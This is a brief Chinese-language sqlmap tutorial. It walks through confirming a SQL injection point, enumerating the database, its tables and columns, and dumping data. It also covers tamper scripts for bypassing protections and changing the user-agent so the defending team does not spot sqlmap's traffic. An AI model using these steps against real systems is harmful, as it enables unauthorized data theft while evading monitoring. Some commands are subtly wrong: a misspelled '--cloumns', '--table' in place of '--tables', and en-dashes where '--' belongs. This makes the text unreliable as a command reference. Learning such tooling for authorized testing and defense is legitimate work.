1.检测是否存在注入点
python sqlmap.py -u "地址"
出现heuristic (basic) test shows that GET parameter 'artist' might be injectable (possible DBMS: 'MySQL')这个分析结果是 SQLMap 对目标 URL 进行启发式(基本)测试后得出的结论 GET parameter 'artist' might be injectable: SQLMap 发现 GET 请求中的参数 ‘artist’ 可能是可注入的。 Possible DBMS: ‘MySQL’: SQLMap 进一步猜测目标数据库管理系统(DBMS)可能是 MySQL。
2.获取当前数据库的名称(直接查表名会输出全部表,显示有点杂乱)
python sqlmap.py -u “注入点地址” –current-db
3.获取指定库的表名
python sqlmap.py -u "地址" --table -D "库名"
4.获取表下的列名
python sqlmap.py -u "" --cloumns -T "表名"
表名是在上面已经获取到了
5.获取数据
已经获取了表名和列名,dump用来指示工具从数据库中检索数据。
python sqlmap.py -u "目标地址" --dump -C "列1,列2" -T "表名"
6.绕过模块-Tamper脚本
python sqlmap.py -u “带有防护的注入点地址” –tamper=绕过模块
绕过模块编写:随便在Tamper脚本中,复制一个模板,修改模板编写自己想要过滤的条件代码然后放在sqlmap存储目录的tamper下
7.打乱默认指纹
–user-agent “” #自定义user-agent
–random-agent #随机user-agent
由于显示的数据包user-agent会携带一些**固有流量特征**,会被蓝队进行防护和识别。 sqlmap的固有流量特征:数据包user-agent中会默认其版本号
8.–level -risk等级限制(可以深度去检测)
level=(1-5) #要执行的测试水平等级,默认为1(主要设置这个)
–risk=(0-3) #测试执行的风险等级,默认为1